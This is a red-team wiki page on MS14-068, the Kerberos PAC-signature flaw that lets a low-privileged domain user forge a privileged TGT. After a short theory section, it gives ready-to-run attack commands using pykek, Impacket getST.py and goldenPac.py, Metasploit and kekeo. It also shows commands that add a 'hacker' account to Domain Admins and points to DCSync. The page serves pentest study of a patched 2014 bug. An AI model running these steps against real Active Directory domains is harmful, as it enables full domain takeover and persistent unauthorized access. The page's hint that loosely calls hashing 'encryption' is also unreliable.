# MS14-068

## Theory

This vulnerability allows attackers to forge a TGT with high privileges (i.e. with a modified PAC stating the user is a member of privileged groups). This attack is similar to the [Golden ticket](https://red.infiltr8.io/ad/movement/kerberos/forged-tickets/golden), however, it doesn't require the attacker to know the `krbtgt`. This attack is a really powerful privilege escalation technique, however, it relies on a 2014 bug and will not work on patched domain controllers.

This vulnerability is possible due to a misvalidation of the PAC signature, allowing to craft a PAC granting powerful rights to a user while still being legitimate in the eyes of the KDC(Key Distribution Center). Contrary to what Microsoft doc states [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/6e95edd3-af93-41d4-8303-6c7955297315?redirectedfrom=MSDN), there are more than three `SignatureTypes` accepted by the KDC : before MS14-068 patch, a signature was considered valid by `KdcVerifyPacSignature` if its size was <= 20 bytes. Therefore, it was possible to sign a PAC with a non-keyed hashing algorithm such as MD5 and have this PAC be considered valid.

{% hint style="info" %}
A non-keyed algorithm is a type of encryption that does not use a key to encrypt or decrypt the data. It uses instead a fixed algorithm, which makes it much less secure than a keyed algorithm. Non-keyed algorithms are usually easier to crack or break because they do not have the added security of a key to protect the data.
{% endhint %}

The exploitation goes as follow:

1. A PAC-less TGT is obtained via an AS-REQ with the `PA-PAC-REQUEST` attribute set to false. This will be used in a later step.
2. A PAC indicating an account membership to powerful groups in the domain is forged and "signed" with MD5 (or any other non-keyed algorithm listed [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/c6dabc82-0792-4475-a44e-ae9b640d2613)).
3. A TGS-REQ message, requesting a service ticket targeting the KRBTGT service (i.e. a TGT-like) is sent to the vulnerable KDC, using the forged PAC from step (2) encrypted with a sub-session key (usually the session key) and included in the TGT from step (1).
4. In response to step (3), a new TGT containing the forged PAC will be received from the vulnerable KDC after its validation of the forged PAC (the vulnerability happens here).

The newly obtained TGT can be use like a [golden ticket](https://red.infiltr8.io/ad/movement/kerberos/forged-tickets/golden), with [pass-the-ticket](https://red.infiltr8.io/ad/movement/kerberos/forged-tickets/broken-reference), to perform privileged various actions.

## Practice

{% tabs %}
{% tab title="UNIX-like" %}
{% hint style="info" %}
Referring to [kekeo](https://github.com/gentilkiwi/kekeo/wiki/ms14068)'s wiki might help untangle some situations but errors like `KDC_ERR_SUMTYPE_NOSUPP (15)` or `KRB_ERR_GENERIC (60)` when trying to use the generated `.ccache` ticket should mean the target is patched.
{% endhint %}

**PyKEK**

This attack can be operated with [pykek](https://github.com/mubix/pykek)'s [ms14-068](https://github.com/mubix/pykek/blob/master/ms14-068.py) Python script. The script can carry out the attack with a cleartext password or with [pass-the-hash](https://red.infiltr8.io/ad/movement/kerberos/forged-tickets/broken-reference).

In order to operate the attack, knowing a domain account’s name, its password (or hash) and its SID are needed.

A TGT can then be obtained with one of the following commands.

```bash
# with a plaintext password
ms14-068.py -u 'BASICUSER'@'DOMAIN_FQDN' -p 'PASSWORD' -s 'BASICUSER_SID' -d 'DOMAIN_CONTROLLER'

# with pass-the-hash
ms14-068.py -u 'BASICUSER'@'DOMAIN_FQDN' --rc4 'NThash' -s 'BASICUSER_SID' -d 'DOMAIN_CONTROLLER'
```

Once the `.ccache` TGT is obtained, if the attack is successful, the ticket will be usable with \[pass-the-ticket]\(. An easy way to check if the TGT works is to use it and ask for a service ticket. This can be done with Impacket's [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py) (Python).

```bash
getST.py -k -no-pass -spn 'any_valid_spn' $DOMAIN_FQDN/$USER
```

This step will only make sure the TGT works though. It will not indicate for sure that the attack worked. This is because a patched DC could ignore the forged PAC and include a legitimate PAC instead. But the TGT would still be valid. It would simply be "unprivileged". Trying to use the service ticket for a privileged taks, [DCSync](https://red.infiltr8.io/redteam/credentials/os-credentials/windows-and-active-directory/dcsync) for instance, is advised.

{% hint style="info" %}
Another way of knowing, for sure, if the target DC is patched or not is to decrypt the ticket obtained with [describeTicket.py](https://github.com/fortra/impacket/pull/1201) and make sure the PAC features the privileged groups (512, 518, 519, 520). If the privileged groups are missing, it means the DC is patched and the forged PAC was ignored and replaced with a legitimate one. Knowing the krbtgt key is needed, so this would best fit a whitebox audit scenario (or successful pentest).
{% endhint %}

{% hint style="warning" %}
In some scenarios, I personally have had trouble using the `.ccache` ticket on UNIX-like systems. What I did was [convert it](https://red.infiltr8.io/ad/movement/kerberos/forged-tickets/broken-reference) to `.kirbi`, switch to a Windows system, inject the ticket with mimikatz's using[`kerberos:ptt`](https://tools.thehacker.recipes/mimikatz/modules/kerberos/ptt) command, and then create a new user and add it to the domain admins group.

```bash
net user "hacker" "132Pentest!!!" /domain /add
net group "Domain Admins" /domain /add
```

{% endhint %}

**Impacket (goldenPac.py)**

The attack can also be carried out automatically using Impacket's [goldenPac.py](https://github.com/fortra/impacket/blob/master/examples/goldenPac.py) (Python). This tool conducts the attack and tries to open a privileged session using the obtained TGT and PsExec. The TGT can be stored locally with the `-w path` parameter.

```bash
goldenPac.py $DOMAIN_FQDN/$USER:$PASSWORD@$DC_FQDN -dc-ip $DC_IP
```

**Metasploit Framework**

The Metasploit Framework can also be useful in the sense that it prints valuable error information.

```bash
msf6 > use admin/kerberos/ms14_068_kerberos_checksum
```

{% endtab %}

{% tab title="Windows" %}
**Kekeo**

Prerequisite : Build ms14068.exe following [kekeo's documentation](https://github.com/gentilkiwi/kekeo#readme).

```batch
# NB : ms14068.exe can act in two ways
# /ticket : Write the obtained ticket on disk with default name tgt.kirbi
# /ptt : Pass-the-ticket by directly injecting the obtained TGT into LSA

# with password
# domain SID and user RID are automaticaly discovered
ms14068.exe /domain:$domain /user:$user /password:$password /kdc:$VULN_KDC_FQDN

# with an NT hash
# AES-128 and AES-256 keys are also usable with /aes128 and /aes256 respectively
# note that automatic discovery of the user SID is not possible when using hash 
ms14068.exe /domain:$domain /user:$user /key:$krbtgt_NThash /sid:$DomainSID /rid:$userRelativeID /kdc:$KDC_FQDN
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://labs.withsecure.com/publications/digging-into-ms14-068-exploitation-and-defence>" %}

{% embed url="<https://ruuand.github.io/MS14-068/>" %}

{% embed url="<https://adsecurity.org/?p=525>" %}

{% embed url="<https://adsecurity.org/?p=541>" %}

{% embed url="<https://www.beyondtrust.com/blog/entry/a-quick-look-at-ms14-068>" %}

{% embed url="<https://github.com/gentilkiwi/kekeo/wiki/ms14068>" %}

{% hint style="info" %}
Parts of this page were written with the help of the [ChatGPT](https://openai.com/blog/chatgpt/) AI model.
{% endhint %}
